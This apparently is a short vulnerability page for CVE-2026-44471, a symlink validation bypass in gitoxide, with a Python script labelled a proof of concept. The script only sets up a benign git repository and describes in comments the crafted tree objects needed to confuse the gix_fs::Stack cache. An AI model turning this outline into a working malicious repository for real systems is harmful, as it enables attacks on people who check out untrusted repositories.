CVE-2026-44471 Gitoxide符号链接验证绕过漏洞

import os import subprocess # Proof of Concept for CVE-2026-44471 # This script demonstrates the setup for a malicious repository structure. # Exploitation requires gitoxide < 0.21.1 to checkout the repository. def create_exploit_repo(): repo_dir = "gitoxide_poc_cve_2026_44471" if os.path.exists(repo_dir): os.rmdir(repo_dir) os.makedirs(repo_dir) os.chdir(repo_dir) # Initialize git repo subprocess.run(["git", "init"]) # Create a file that will later be part of the directory structure # to trigger the leaf-to-directory caching issue. with open("legit_file", "w") as f: f.write("This is a legitimate file.") subprocess.run(["git", "add", "legit_file"]) subprocess.run(["git", "commit", "-m", "Initial commit"]) # To actually exploit CVE-2026-44471, one must manually craft Git tree objects # that contain duplicate entries where a directory is replaced by a symlink # or vice versa in a way that confuses the gix_fs::Stack cache. # Below is a conceptual representation. print(f"Repository initialized at {os.getcwd()}") print("To exploit: Manually craft tree objects with conflicting directory/symlink paths.") print("Then run: gitoxide checkout") if __name__ == "__main__": create_exploit_repo()